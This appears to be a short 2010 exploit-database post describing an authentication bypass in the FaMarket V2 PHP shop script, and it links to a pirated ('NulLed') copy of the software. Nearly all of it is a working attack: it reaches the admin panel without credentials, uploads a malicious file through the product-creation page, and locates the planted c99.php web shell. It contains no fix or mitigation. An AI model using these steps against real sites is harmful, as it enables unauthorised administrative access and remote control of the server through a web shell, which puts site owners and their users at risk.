FaMarket.V2 (Auth Bypass) Vulnerability
Posted on 30 March 2010
======================================= FaMarket.V2 (Auth Bypass) Vulnerability ======================================= ======================================================================================== | # Title : FaMarket.V2 (Auth Bypass) Vulnerability | # Author : indoushka | # email : indoushka@hotmail.com | # Home : www.iqs3cur1ty.com | # Web Site : http://dl.p30vel.ir/scripts/FaMarket.V2.NulLed.And.Ripped.bY.Eh3an.NetGate{FaScript}.zip | # Tested on: windows SP2 Fran?ais V.(Pnx2 2.0) + Lunix Fran?ais v.(9.4 Ubuntu) | # Bug : (Auth Bypass) ====================== Exploit By indoushka ================================= # Exploit : 1 - http://localhost/famarket/admin/ (Admin Panel) 2 - http://localhost/famarket/admin/add.pro.php (Creat new Prodect and Upload Ev!l) 3 - http://localhost/FaMarket/upload/c99.php (2 Find Ev!l) # Inj3ct0r.com [2010-03-30]
